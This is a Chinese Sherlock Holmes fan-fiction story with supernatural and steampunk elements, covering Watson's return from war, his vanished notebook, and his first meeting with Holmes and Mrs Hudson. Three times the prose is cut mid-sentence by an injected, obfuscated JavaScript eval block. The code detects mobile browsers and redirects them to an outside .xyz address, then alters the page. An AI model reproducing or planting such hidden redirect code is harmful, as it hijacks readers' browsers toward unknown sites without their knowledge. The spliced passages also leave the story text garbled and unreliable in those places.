《[SH]侦探、与医生、与非典型探案》 1. 01 船舱外风雨交加，一波接一波的浪潮与倾颓的夜色冀搅动在一起，如同漆黑的墨水泼入海面。 渡轮颠簸在海面之上，此刻像是成了漂泊无定的小盒子。 屋内的黄铜油灯仍旧亮着，使得埋首写字的人依旧延续纸上的故事。 约翰·华生坐在桌前，用沾了墨的羽毛笔写下一个又一个的单词，并将这些单词连成在常人看来是光怪陆离的一些故事。 他是退役的军医，因为受了伤，所以不得不离开前线，回到故国。 战场上炮火无情，人类自打发现了子弹比刀剑更好用，人造的瘟疫同样具有巨大杀伤力的时候，前线的战场就成了比绞肉机更恐怖的人间炼狱。 更何况，那里不仅仅只有子弹和刀剑。 会飞天遁地的人，能够口吐人言的动物，刀枪都无法留下一丝伤痕的植物，以及更多具有稀奇古怪的特性能力的物品，都隐隐告诉他，故土之外参战的远远不只是普通人，还有一些超凡的势力同样参与其中。 直至回国的今天，约翰一直会想，造成自己退役的真的只是普通的受伤吗？ 在他作战记忆的最后，他只记得自己冒着枪林弹雨，奔赴最前线，为那些没了手脚，倒在血泊里哀嚎的战士们进行紧急治疗，可从天而降的一束白光在刹那间笼罩战场。 那还未面世的致命武器，在瞬间就将附近所有生命一同杀死。 他倒在了那片光里，听见周围每个人都像一滴水被瞬间蒸发。 事后救援部队带着侥幸生还的他重新回到战地医院时，告诉他，那是敌人对那片地区发射了具有大规模杀伤性的恶劣武器，可他依稀还记得，坍塌的建筑仍旧维持着原样伫立在那里，甚至连一个残破的瓦片也没有落下。 什么样的武器只是消灭了人，却没有破坏建筑？ 但救援部队没有做出任何解释，只是为他飞快办理了退役的相关手续，并告知他回国后仍应定时去心理医生和福音教教堂报道。 约翰看着自己面前纸张上的字迹，看着那位叫做福尔摩斯的主人公穿梭在战场的废墟之中，看见一道光即将从天边降落。 可是再然后呢？ 他无法继续书写。 因为他想象不到那是何种的伟力，竟然瞬息就抹除了他身边所有战士和敌人。 “咚咚。” 屋外走廊上忽然响起敲门的声音。 “先生，要来点宵夜吗？” 门外传来一个怯生生的问好声，像是经常出没于街头，挎着藤编篮卖花的小姑娘。 只是她用清脆的嗓音说的话，完全不符合常识。 “先生，我们这里有甜味的幸福，有酸味的嫉妒，有辣味的愤怒……您想品尝的口味，我们这里都有，尝尝吧……尝尝吧！您一定会喜欢的！” 约翰的视线仍旧紧紧盯在自己的笔记本上，也没有出声回应门外嗓音越发尖利的叫卖声。 “先生！先生！先生！！！尝尝吧！尝尝吧！买一个尝尝吧！” 那声音如同坏掉的八音盒，反复不断地重复着一个古怪的调子，笔记本无风自动，书页急急翻动，最后落在约翰在归途中书写笔下主人公福尔摩斯遇见一个古怪小女孩的片段上。 门外的敲门声，已经变成了长指甲划过门板的刺耳声。 约翰眼疾手快将笔记本啪的一声合上，于是那些凄厉的动静戛然而止，只留令人有些惶恐的寂静。 但很快，正对着他的船舱舷窗那里又传来咚咚拍打玻璃的声音。 被他按在掌心的笔记本，像是要挣脱书写者的力量，自己重新翻动纸张页码。 约翰甚至在这一刻感觉这已经不是一本书。 他如同握着一颗跳动的心脏。 他更加用力地按住笔记本。 遮盖着舷窗的窗帘没有任何起伏，桌面上照明的黄铜油灯内部却像刮起一阵微风，吹得火苗摇摇晃晃，岌岌可危地要熄灭。 窗外再一次传来咚咚咚的敲击声，亲切得像许久不见的友人，在用这种方式朝他打招呼，勾动着他的好奇心，让他掀开窗帘看看外面到底是谁。 但约翰还记得，他目前身处的船舱位于水面之下，这风雨交加的深夜里，有谁会在冰冷漆黑的海水中特意敲他的舷窗？ 于是他没有打理窗外的动静，反而快速找来笔记本自带的那把银锁，从自己的贴身口袋里拿出一把小钥匙将其紧紧锁住。 那些诡异的动静终于消失不见。 夜晚似乎又重新恢复了平静。 等到约翰再一次醒来的时候，窗外海水亮得通透，走上甲板的时候就能看见暖阳当空，照亮视野所及中平静的海面。 船长有着粗犷的声音。 他和他打招呼。 “医生，昨晚睡得好吗？” 约翰回答，“昨天晚上最初有暴雨，睡得还不安稳，不过后来熟睡了似乎也就没有感觉了。” 船长一愣，“昨晚下雨？那不可能，我们即将到伦敦，这几天都是非常适合航行的晴天，根本就没有下雨的迹象，昨晚也一样。” 约翰的表情一变，令船长有些疑虑地抬眉。 约翰揉了揉自己的眉心，像是要缓解一下自己的精神压力，并由衷地开始考虑自己是不是要像那些救援人员说的那样，回到伦敦后去一趟心理医生和教堂那里。 “医生？” 听到船长的声音，约翰放下手，摇摇头后说道： “我没事，可能……只是长期的海上旅途有些叫人疲惫。” 船长像是想到了什么可能。 他回头看了眼平静的海面。 即便已经和大海打上二十几年的交道，他也从来不敢托大，说自己看穿了瞬息万变的波涛，更何况在这深邃无垠的水底，他总感觉那里可能还藏着其他更恐怖的东西。 不管是在言语中提及了，还是视线注视到了，乃至只是一缕念头想到了，也许都会引起那东西的注意。 所以他们能做的，或许只是假装不知道，以及瞒着让别人也不要知道。 船长拍拍他的肩膀。 “嗨医生，战场的炮火都快把你折磨成精神衰弱了，不过你看——” 他手指的方向。 伦敦那由铜铁构筑的高楼建筑已经远远露出了模糊的一角。 海量的煤炭被具备各种功能的钢铁巨兽吞吃入腹，再化作喷薄的白色蒸汽推动沉重的机械在既定的轨道上有序运行。 这个时代的人类借助这些血脉里流动着蒸汽的钢铁巨兽们快速前进发展着，甚至让华生觉得自己阔别家乡的这些年后，已经快要认不出这座城市曾经是什么样的模样。 战场上那些诡异的传闻，时刻在被毁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772465|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坏得差不多的日常里出现的违和感，都在他见到那些有序运行的人类社会边缘时逐渐褪去。 约翰在此刻感到了一阵难言的安心，如同离群的飞鸟再次归巢，于是内心自然而然诞生了名为安定的情感。 “回到伦敦后，好好休息，你可以晚上去看一场歌剧表演，回家的时候热一杯红酒，靠在床头再读一本书。” 船长替他畅想着美好的未来。 约翰感觉自己心中某根紧绷的弦，也随着他的描述缓缓放松下来。 他对船长说道：“想不到您也是个如此有生活情调的人。” “哈哈哈哈，那是我妻女喜欢的——是我的话，只需要一杯烈酒，然后给我的妻子一个深吻就好！” 大笑的船长从自己衣领中拿出一个装有三口之家合照的项链，然后亲吻了一下照片中面带微笑，陪着他的妻子和女儿。 于是约翰也微笑起来。 可很快，他就笑不出来了。 因为他发现，自己原本收在客舱房间抽屉内部的上锁笔记本不翼而飞。 在自己清晰地记得那个笔记本是放在抽屉里的时候，它就这样不见踪影，只剩下那把钥匙还紧贴颈脖间的皮肉，带来温热的黄铜质感。 约翰感觉自己全身汗毛倒立。 他将这空间只能算狭小的房间翻了个遍，也没能再见到笔记本。 冷汗从他因为战争折磨，显得削瘦暗黄的额头上流下。 他确认房间里没有笔记本后，迅速冲了出去，找到最近的船员询问，是否有人在这段时间里进出过他的房间，或是看见一本遗失的笔记本。 被抓住的船员疑惑地看看他。 “并没有，先生，我敢肯定，从看见您起床前往甲板，和刚才回来的那段时间内，只有我一人一直在这里拖地打扫。” “而您知道的，没有船长的命令，我们从来不会肆意闯入任何一位旅客的房间内，更何况船上大半的旅客都是为国作战的光荣者。” “不，我并不是在指责你。”约翰感到一阵头疼，他又一次按了按自己的眉心，试图讲清此时他的焦虑，“那个上锁的笔记本对于我来说很重要。” 里面记载的内容虽然大半已经经过了修饰和掩盖，但就像在昨晚旅途中碰上的那些怪事一样，哪怕是文字的力量也有可能引来一些危险生物的视线或造访。 约翰比划了一下笔记本的大小和外表。 “就这么大，最外面有一层棕色的结实牛皮，哦对了——我之前拿着的时候，你有见过，还说上面挂着的铜锁很漂亮，四叶草的图案很精致，想必会带来好运。” 听到他如此详细地进行描述，船员脸上的疑惑不由更明显了些。 “先生……虽然您描述得很栩栩如生，但我一点印象也没有，您确定不是其他人看到过吗？” “而且，在我和您共处的这接近一个月的印象里，我从未看见您动笔写作过。” 怎么可能？！ 他有时沉迷写作，连晚饭也是船员们送到客房门前的，这件事这艘船上很多人都知道，船员之间更是无人不知，为什么他会说出这样的话？！ 约翰听见返程入港的嘹亮鸣笛声在自己耳边响起，终于归乡的旅客们拎着自己的行李集中在甲板上热切地欢呼着。 而他此刻感觉如坠冰窖，倍感不安。 2. 02 “华生先生，你要明白，想要治愈战争给你带来的心理创伤，要远比医好身体上的创伤更难。” “回到城市生活，难免会让你感觉自己与这里格格不入，或是陌生不适。” “但相信我。” “你可以尝试着……继续写日记，或者说是背景奇幻的那些小说。” “这有助于缓解你精神上的压力。” 约翰盯着面前的心理医师。 那是因为他知道，这个人不仅仅是一个普通的心理医师。 这是一名像战场上那群拥有着类似特殊能力的人，否则他不会向对方说出笔记本里那些更为详细的文字内容。 横在他们两人中间的宽大木质桌面上，一座精巧的机械时钟发出具有节奏的单调声响。 今天窗外的伦敦也是标志性的阴天。 又或许并不是阴天，只是近代快速发展的工业不可避免地倾吐大量粉尘烟雾，遮住了天空之上的日光，让这座繁华的都市终日笼于朦胧的迷雾之中。 打扮简朴的体力劳作者，衣衫褴褛的流浪汉，与服饰鲜亮的新旧贵族们一起在这座都市生活着。 灰蒙蒙的天空中不时投射下一缕耀眼到足以刺破灰雾的光，人们只需抬头就能看见巨大如橄榄球一样的齐柏林飞艇正喷薄着大量蒸汽飞向高空，飞艇的正下方悬挂着极具吸睛效果的巨幅广告。 这座城市一点也不像前线那样荒芜溃败，可它给他的感觉依旧危险。 仿佛那种危险的来源一直未离开他的身边。 心理医师注意到了他的视线。 “华生先生，下个月《玫瑰》将在皇家歌剧院上演。听闻这是由那位身份尊贵，人生经历跌宕起伏的伯爵夫人亲自改编的，相信会是一部优秀的歌剧。” 华生收回视线，微笑着说道：“皇家歌剧院的门票有时可不仅仅是用钱就能买到的，更何况我那点抚恤金，或许根本买不起一张入内的门票，倒不如花在赌马上。” 心理医师看看他。 “哦……您知道的，华生先生，娱乐的方式有很多种，赌马当然也是其中之一，不过每年赔得血本无归的可不少。” “哈哈，我并不是那种只沉迷于赌马的人。” 桌上精巧的铜钟时针转移到六点的时候，蒸汽轰轰作响，推动着金属块撞击另一块金属发出清脆的声响，镶嵌着红宝石做眼眸的布谷鸟从打开的门里探出小脑袋进行报时。 这意味着今天的心理治疗结束了，也代表他按照规定前来的次数已经达标，如果没有意外情况，他可以不用每周定时定点再度上门拜访。 在看起来仍旧显得消瘦的约翰站起身，拿起自己的风衣和礼帽再见之前，心理医生忽然又多问了一句。 “虽然有些冒昧，不过华生先生，我还是想问您一句，为什么今天你没有提起之前总是会说到的笔记本，以及那里面的故事？” 原本在她看来，笔记本或许只是这位从战场退役的军医脑海中某个念想的具象化代表，可不知不觉中，她又被那个故事里名为福尔摩斯的主人公经历过的事情所吸引注意。 今天可能是这位先生最后一次来到这里，这反而让她对这个未完的故事感觉恋恋不舍起来。 “华生先生，其实我甚至觉得，您说的那些故事都是真的……哈，我的意思是，说不定真的有一名叫做福尔摩斯的咨询侦探就穿梭在伦敦的大街小巷，侦破一个又一个看上去毫无线索的难案，抓捕一个又一个穷凶极恶的罪犯。” 约翰将自己的礼帽戴上，不由露出些许自嘲的笑意。 “那可就是整个伦敦人民的福音，然而女士，你知道的，那不过是我的作品……不。” 他轻轻摇头。 “我甚至找不到自己写下的那些笔记和文字，或许我之前对你说的，不过是自己在前线极度恐惧时候产生的幻想而已。” “不过华生先生，如果您以后将这些故事投稿，相信您一定很快就能成为知名的大作家。” 约翰稍稍提起自己的礼帽，像是一个致谢。 “如果有机会的话。” 他笑笑，不打算去纠正这位一直认为他说的那些事情，只是纯粹故事的女士想法。 毕竟对方已经对他做过了检查，像是早就认定自己没有受到什么超凡力量的影响。 告别了心理医师，约翰走上喧嚣热闹的大街。 马车与火车同时出现，穷人和富人在此共存。 铁轨像这座城市的主动脉横穿几条重要街道，双层巴士吞吐着黑烟不断停下再出发，远处的工厂日以夜继地将煤炭等资源化作蒸汽动力，推动整个城市迅猛发展着。 但这座繁华的城市里还有大量贫苦的人口汇集在北方矿坑劳作，从深不见底的矿洞里挖出的煤矿，用廉价的人力搬运到附近的工厂，再顶着呛人的浓浓硝烟，将它们扔进焚烧炉里，每天不断重复这样辛苦的过程以赚取微薄的薪水。 约翰盯着远处烟雾最浓的地方看了片刻，然后因身边的呼喊声回神。 “先生，要买一朵花吗？” “我保证都是今天刚采摘的。” 女孩怯生生的话语令他猛地想起在回国船舱上的那晚。 但她没有再说出更古怪的叫卖词，只期待地希望他能出钱从自己的篮子里买走一朵娇艳欲滴的红玫瑰。 约翰顿了顿，从几乎快和棉絮一样轻薄的鞋面里看见她冻红的脚趾。 他从自己的钱包里掏出钱。 “这一篮都给我吧。” “先生，这也太多……” “最近天冷了，或许你比较想从码头那里再买点鱼回去，我坐船的时候曾经听那些水手说，那些便宜的鱼一样能煮出美味的汤来。” “那些便宜的鱼，在一个叫做杰克的跛脚老船夫那里有卖。” 他把超出一篮玫瑰的钱递给她，上面压着一颗自己做的糖果。 “他们说分享这个消息能获得好运，所以我告诉了你，或许你还可以告诉其他人。” 这个消息的确是有的，不过是他在码头听见别人闲聊时，说起老船夫杰克的鱼小且数量不多，没有餐厅前来收购，又因为跛脚，很难抢到好位置卖鱼。 女孩眼眶湿润，她连忙接下钱，犹豫片刻才接过糖果，将它们一起小心翼翼地贴身放好，然后轻声说道： “谢谢您，谢谢您，好心的先生。” “您会有好运的，带来福音的天使一定会常伴您的身边。” 她露出笑容。 “我会每周在福音教堂为您一直祈祷的！” 看着她离开的背影，约翰也笑了笑，感觉自打回到伦敦后就有的迷茫与无措，此刻也消散了一些。 不过这一篮的红玫瑰对于他，以及那个简陋的暂时落脚地而言未免太过艳丽了些。 就在他思索着该如何是好的时候，路边的一辆飞驰的马车，在车夫急匆匆的挥鞭下压过藏有积水的地砖驶过。 飞溅的污水落在路边其他行人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772466|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裤脚与裙摆上时，不免惹来几声惊呼和愤怒的抱怨。 一朵鲜艳的红玫瑰被飞速转动的马车车轮碾进脏污的泥土里。 但那不是从他手中花篮里掉出来的。 约翰的视线从那只玫瑰落下的方向看去，一位有着红色卷发的女性背影跃入他的眼帘。 一瞬间，世界其他的颜色都从视线里褪去，只剩下那红色如同熊熊烈火燃烧在瞳孔的最中心，占据了所有的注意。 愣神片刻，他意识到，似乎是刚才的马车疾驰而过时候刮起的风，让那朵玫瑰落入尘土之中又被碾碎。 他察觉到了那位女士的怒气，犹豫几秒，还是拎着那篮红玫瑰上前。 “女士。” 对方回过头来，黄金的眼眸像尖刀一样锋利。 “虽然你丢失了一朵玫瑰，不过我这里恰好有一篮玫瑰正在寻找归处，您愿意接受它吗？” 她看着他，像是沉默了许久，又像不经思索，就在下一秒开口，做出回答。 “有趣的人类。” 她接过了他手中那篮红玫瑰。 紧接着狂风骤起，扬起的玫瑰残瓣遮住了他的视线。 随后他的肩膀被人从身后拍了拍。 约翰猛地转过身去，映入眼帘的竟然是一位许久未见的老朋友小斯坦福。 “嘿！这不是我的老朋友约翰·华生吗？！一个人站在这里做什么？刚才是在和谁说话吗？不过我觉得这人可能不是什么好人。”小斯坦福扬起自己的礼帽与灿烂的笑容，上前来拥抱了一下他，“老兄！自打我听说你去了危险的前线当军医之后，我们已经多久没有再见过面了！” 约翰平复了一下自己刚才像是突然间回到战壕里的心情余波。 他同样向对方回以拥抱。 “是许久未见。”他打趣对方，“你发福的肚子险些让我没有认出你来。” 小斯坦福哈哈大笑起来，“所以呢，华生，你是刚回伦敦吗？现在住在哪里，或许下次我可以更正式地登门拜访。” “目前我是住在伦敦河滨的一家公寓里，不过我对那里的环境并不是很满意，正想换一个住处。”约翰叹了口气，“最好经济实惠一些，毕竟我的抚恤金快要撑不住了。” “那还真是巧合！” 小斯坦福突然喊道。 似乎是看出许久不见的老友脸上有疑惑，他解释道： “今天正好还有一个人和我说过同样的话。” “他也在找一个新住处，他已经看好了房，正想找一位合适的舍友同租。” 这位像绝大部分中年男人逐渐发福的老友，和以往年轻当助手时一样眨眨眼，仿佛在暗示他什么。 约翰沉吟片刻，问道：“这么听我倒是很适合，不过你说的这位是个什么样的人？” “哦！他是一个侦探。” “侦探？那种找猫找狗，以及调查出轨事件的侦探？” 小斯坦福神秘一笑。 “这可不是，他接受的委托可不是这些。” 约翰忽然觉得自己这位老朋友像是有些陌生。 “但是我不得不提前告诉你，他的性格很是古怪，喜欢做各种实验、积累各种知识。” “如果是和你一起的话，我相信他为人一定正派，这一点你不用担心。” 约翰皱眉，“我反而有些听不懂你的话了。” “哈哈——”小斯坦福拍拍他的肩膀，“百闻不如一见，那不如与他先见一面？” 3. 03 约翰设想过与对方的见面，或许是在某处的咖啡馆，或是闹市的某个街头，但着实没想到小斯坦福带着他非常有明确目的性的出发方向，居然是往某个实验室。 他看着隔门那边正做古怪实验的年轻男性，不由感慨一句。 “那的确是个古怪的人。” 小斯坦福摸了摸自己发福的肚子，脸上露出和煦的笑容。 “哦——当然这是每一位见到他的人都会有的第一想法。” “就算是在我的人生经历中，也很难遇到这样的人，不过从我的视角来看，他的的确确是个不错的好人。” 听到破空甩出的鞭挞声终于停下，约翰神情古怪地转过头来对老友问道：“真的吗？” “华生。”他眨眨眼，“相信我的眼光，就像我选房子和选人做朋友的时候，从来不会出错一样，如果不是我的钱不够，实际上我也很想搬到贝克街和你做邻居。” 小斯坦福领着他推开实验室的大门，朝里面的那位身姿高挺、面容英俊，给人第一眼就会留有很深印象的男性打招呼。 “嘿！歇洛克！” 对方没有停下手里的实验，直到应该的步骤完美处理结束后，才头也不抬地开口说道：“小斯坦福，你这是要介绍一位合租人吗？” 在这个过程里，他甚至没有多分出一缕视线给玻璃容器之外的地方；但约翰不得不怀疑，他是不是后脑勺上多长了一双眼睛，所以能发现来者是小斯坦福，顺带多带了一名客人来此。 小斯坦福说道：“说实在的，无论看多少次，我都觉得那是你的超凡能力。” “你觉得我隶属于白手套们吗？” 小斯坦福笑笑，“如果你是，那整个伦敦可就要闹翻天了，但也正因为你不是，所以他们同样心惊胆颤。” 约翰疑惑，“嗯……先生们，难道你们在打什么哑谜？” 话音落下的时候，名为歇洛克的男性手中的玻璃容器里，像是上演了一场绝妙的色彩融合，两种不一样的化学制剂犹如画家笔下的油彩，融洽地组合成一种全新的颜色。 约翰心想，这似乎是什么奇怪的化学实验。 “完美。” 他感慨地放下手中的玻璃管，像是终于完成什么一直困扰自己的实验。 然后他抬起头看向他们，或者说是他。 他专门地看向约翰，看向了约翰·华生。 小斯坦福介绍道：“这位是华生医生，这位是福尔摩斯先生。” 约翰准备握手的动作一顿。 “福尔摩斯？” 他有些僵硬地重复这个姓氏。 “歇洛克·福尔摩斯？” 他丢失的那个笔记本里，曾经在各处经历过奇异冒险经历的主人公也叫福尔摩斯，只不过他尚未完善这个人物的全名以及过往，那本笔记就凭空消失，此后再也未能找到。 歇洛克·福尔摩斯像是没有察觉，或者，更应该说是漠视了他的僵硬动作，主动上前几步和他握手。 “您好，华生医生。” “看得出来，您刚从前线退役。” 他的手劲不小，令约翰回过神来。 约翰勉强笑笑，心中安慰自己“福尔摩斯”这个姓氏不常见，但也不是伦敦唯一。 他努力把注意力从对这位绅士的姓名上移开。 “您是怎么看出我刚退役？” “不得不说，现在还有很多不了解我的人，以为我是刚生完一场大病。” “当然心理创伤也是需要治疗的。”对方直言不讳，“至于怎么看出来的，我以为视力并未出现问题的人，按理说都能看出来。” 这位先生说话的攻击性，似乎锋利得像是战场上的刀。 小斯坦福插嘴说道：“我就没看出来。” 歇洛克将视线投向他，“你难道不是‘看’出来的吗？” “哦……那是作弊。”小斯坦福眨眨眼，“我妻子不喜欢我这么做，所以我现在只把这能力用在赌马上，赚点……小小的外快。” “好吧，先生们，难道你们又在打哑谜了？” 约翰说道。 “现在重要的的确不是这个。” 歇洛克说道。 他的语速偏快，有时总是叫人跟不上他的思维。 似乎从单方面认出他的身份开始，到谈论两个人合租是否有彼此无法忍受的缺点，只用了一个呼吸的瞬间。 等到约翰意识到自己在与这位叫做歇洛克·福尔摩斯的绅士一问一答中，答应去实地看看房子的邀请后，才发现他们已经相谈甚欢地站在贝克街路口。 小斯坦福在这个时候和他们做了告别。 “哦——这个点了。” 他看了看怀表。 “我妻子已经做好晚餐了，要是再不回去，可就要听她唠叨好几遍不准时回家又在外面鬼混。” 不过看他的表情丝毫没有要抱怨的意思，反而满是要朝着他人炫耀的幸福感。 歇洛克说道：“不得不说，看到这样的你着实是有些陌生。” 小斯坦福说道：“可别这么说，歇洛克，毕竟我以前可从未想过，你有朝一日会主动选择来到伦敦，还住在哈德森太太那里，相信我，如果你也感受过家的温暖，你就会爱上那种感觉，那比吃任何大餐都要美味数倍。” 歇洛克没有回话。 小斯坦福像是早就熟悉他这样的性格，倒是一点也不觉得冒犯。 他回过头来看向约翰。 “那我就先告辞了，相信我吧，整个贝克街没有比哈德森太太出租的公寓更好的住所。” “当然，整个伦敦也没有比贝克街更适合你们居住的地方了！” 约翰失笑，“你这话说得就和之前带我来见合租人时候的语气一模一样。” 他拍拍这次见面感觉很是不同的老友肩膀。 “看得出来你归心似箭，早知道应当把那篮红玫瑰留给你。” 歇洛克看了他一眼。 “那可真是浪漫。”小斯坦福说道，“不过你提醒了我，我回去前可以路过花店一趟。” 他露出柔软的笑容，一如当年他还在当助手时陷入爱河一样。 “遇见你这样的好友，又能和我的妻子结婚，真是我的幸运。” “从你的口中听到幸运这样的词汇……小斯坦福，你真是越来越像寻常人了。” 歇洛克说道。 “嘿！”小斯坦福像是想要提醒他什么，但碍于约翰在场，他没有说后半截话，只转而说道：“反正你只有真正体验过，才能明白我说的意思。” “总之，我就与两位同行到这里了。” 他扬手微微抬起礼帽，然后说道。 约翰看着老友的背影离去时，不由嘟囔，“这居然是小斯坦福吗……” 理智告诉他，纵使小斯坦福的身形这几年来有发福的趋势，不过这毋庸置疑就是他，可感情又告诉他，这个人似乎有些陌生。 今天的重新见面，让他感觉如同重新认识了这个人一番。 “也许是因为曾经你还没有完全认识他。” 歇洛克说道。 这句话像是针对他认识小斯坦福，又像是泛指每个人对每个人或其他什么事物之间的理解和认识。 不知为何，约翰又一次想起那本被他记载诸多古怪事件的笔记本。 如果没有联想，没有认知，它们似乎只应出现在幻想小说的分类区域里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772467|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可他在活着经历过前线残酷又离奇的战争洗礼后，又能清晰地认知到，在枪炮的轰鸣下似乎有超凡力量的暗流，同样在那里进行着激烈残酷的交锋。 他摇摇头，在路边一些汽车的鸣笛声中回过神来。 他试图找找其他话题。 “说起来，福尔摩斯先生，您说自己的职业是咨询侦探？” “我听过私家侦探、官方侦探，但的确没有听过咨询侦探这样的职业，这和前两者有什么不同吗？” 对方简练地回答，“即使是私家侦探或是官方侦探也有解决不了的案件，而我就是他们的咨询求助的对象。” “先经过筛选的案件总是更有趣味，并具有挑战性一些的。” 看得出来，他这位可能得未来合租舍友拥有一个超凡的头脑，所以身为侦探去侦破的案件也与众不同。 “那想必前来咨询的人大多身份非凡。” “这可不一定，华生医生。”他说道，“只要案件足够有趣，委托者的身份有时并不需要过多苛求。” “有些人的身份奇妙，大概你也曾经遇过。” 约翰疑惑，“我也曾经遇过？” “那当然。” 歇洛克肯定地说道。 “你领结上的旧印，在战场上帮你挡住的可不仅仅是那颗即将要了你命的子弹，还有其他恶魔的袭击。” 领结在此刻像是要化作绞绳将他杀死。 约翰忽然感觉有些窒息。 他的脚步停下，后背止不住地发凉。 伦敦时刻不停的大雾将前方那个人的身影映得朦朦胧胧，让约翰觉得对方甚至更像福音教口中所说的那些具有超凡能力的恶魔。 “你——”他感觉自己喉间像堵着一团棉花，需要用比以往更多的力气才能发声。 他想问，对方真的是人类吗？又想问，刚才他说的那些话里，是否在暗指他丢失的那本笔记。 可他又顾虑着如果此刻就将一切戳破，露出的真相又是否能够被自己所接受。 最后他什么没有说。 街边被马车堵塞在原地的汽车，终于不耐烦地驶向下一个路口。 大声咒骂这个街道交通太差的路过者，压过路边的水坑，溅起令人有些恼怒的泥点。 但约翰无暇顾忌这一点。 他下意识摩挲着胸前这枚曾经救过自己性命的旧印，和站在前方贝克街入口的歇洛克·福尔摩斯对视着。 “华生医生，对于人类而言，有些谜团如果不主动解开，或许会变成永远跟随着你的梦魇。” 拥有着和他故事里同样姓氏的男人优雅地说道。 “而你和常人不同。” “面对恐惧，却仍旧拥有着致命但珍贵的好奇心。” 约翰轻声问道：“那么……这些谜团对于你来说又意味着什么？” “无关紧要的闹剧？摘取果实的机会？满足自身的……杀戮？” 后面那些提问，更像是他本能的疑惑。 歇洛克·福尔摩斯对他露出微笑。 “都不是。” “我觉得，这是满足乐趣的绝佳对弈。” “只不过对手并非凡间俗世的人类。” 他的手臂扬起，指尖对着苍穹更上方的天空。 “我要在这里看着祂们向我认输。” 现在他站在贝克街的入口处，正式向约翰·华生发出邀请。 “你要一同前来吗？华生医生。” 约翰·华生听到好奇心在尖叫，听到理智在呢喃，听见疯狂在狂笑。 但他毫不犹豫地一脚踏进了笼罩在前方的迷雾之中。 因为他率先听见了对方最后那句高傲又郑重的承诺。 4. 04 “所以地址是贝克街221号？” 约翰反复念叨了小斯坦福告诉他们的地址好几遍，但在对照自己的记忆后，深深地皱起了眉。 在他的印象里，贝克街从东侧由南到北有1号～42号、西侧由北到南是44号～85号，并不存在221号。 该不会是他在还没有回国的时候新建的地段？ “这个问题你已经反复念叨了好几遍。” 歇洛克说道： “其实最简单的方法是一起进去看看。” 然后他直接迈出步伐，往被厚重雾气笼罩的街头走去。 约翰快步跟上。 记忆里熟悉的街景一一掠过约翰的记忆，但当他跟随着歇洛克的脚步拐过一个墙角的时候，那种熟悉的感觉就戛然而止。 他不由咦了一声，感觉自己像是骤然从一个相对熟悉的环境，漫步到了完全陌生的地方。 可当他回过身的时候，视野范围之内，伦敦仿佛还是那个伦敦。 然而，在他背过身去的那个瞬间，四周的行人、贩夫、报童同时停下了自己手中的动作，双目视线紧紧盯住了从拐口街角而来的两人。 但很快他们又重新低下头，好似自我补全了被抽掉部分帧数的电影，继续上演着和世间一样热闹的画面。 歇洛克环顾四周一圈。 然后是约翰略带惊喜的声音响起。 “221号！” 站在门边的老妇人带着友善的微笑在看他们。 “华生医生和福尔摩斯先生。” 约翰礼貌地向对方问好。 “您好。” “您是……哈德森太太？” 她点头。 “没想到小斯坦福已经为我们的到来，提前向您说明了吗？” 他没想到哈德森太太能一眼就认出他们，又或许是歇洛克的长相和气质都相当引人注目？ “这与小斯坦福先生没有关系。”她笑道：“我与福尔摩斯……现在应该称之为歇洛克才对，我之前承蒙过他的帮助。” “很久之前我的第一任丈夫可是个混蛋，多亏了歇洛克，我才能把他送上绞刑架。” “顺带很好品尝了一下他后悔绝望的灵魂？” 歇洛克顺口说道。 “哦可别把我形容成那些低俗贪婪，又毫无节制的恶魔。” 哈德森太太眨眨眼。 即便她看起来已经上了年纪，但做起这样的动作，还是显得很活泼俏皮。 “我可是走正规流程，最后进行‘销毁仪式’的。” “只不过销毁的方式是进了我的肚子而已。” “先生、女士，你们说的话令我感觉有点毛骨悚然的。” 约翰嘟囔着。 “战场前线也总是流传着恶魔的传说，说是它们游荡在黑暗之中，窥视着将死者的灵魂，并会在福音教没有庇护到的角落里，肆意收割和品尝人类的灵魂。” “不过这些应该只是传闻，或者说像睡前故事一样……对吧？” “所以人类有句话说得很有道理。” “真相或许就隐藏在玩笑话里。” 歇洛克没有回头，但用稍快的语速给出一个令约翰感到有些毛骨悚然的回答。 他们跟着哈德森太太来到即将租下的公寓里。 作为房东的哈德森太太拉开客厅的窗帘，让朦胧的阳光照进屋内。 约翰站在客厅中央，目光从窗外又看向屋内。 就在他视线流转的那刻，这里的一切都像变得生动起来。 天际边缘凝固的云被风吹动，不曾转动的大本钟恢复与现实世界同样的角度并绕着轴心开始前进，经久不散的雾气里开始亮起朦胧的灯光，街边餐馆和面包店里传来诱人的香气，连路边卖花的小姑娘也低头目睹自己藤篮里一朵玫瑰从娇艳欲滴到即将枯败。 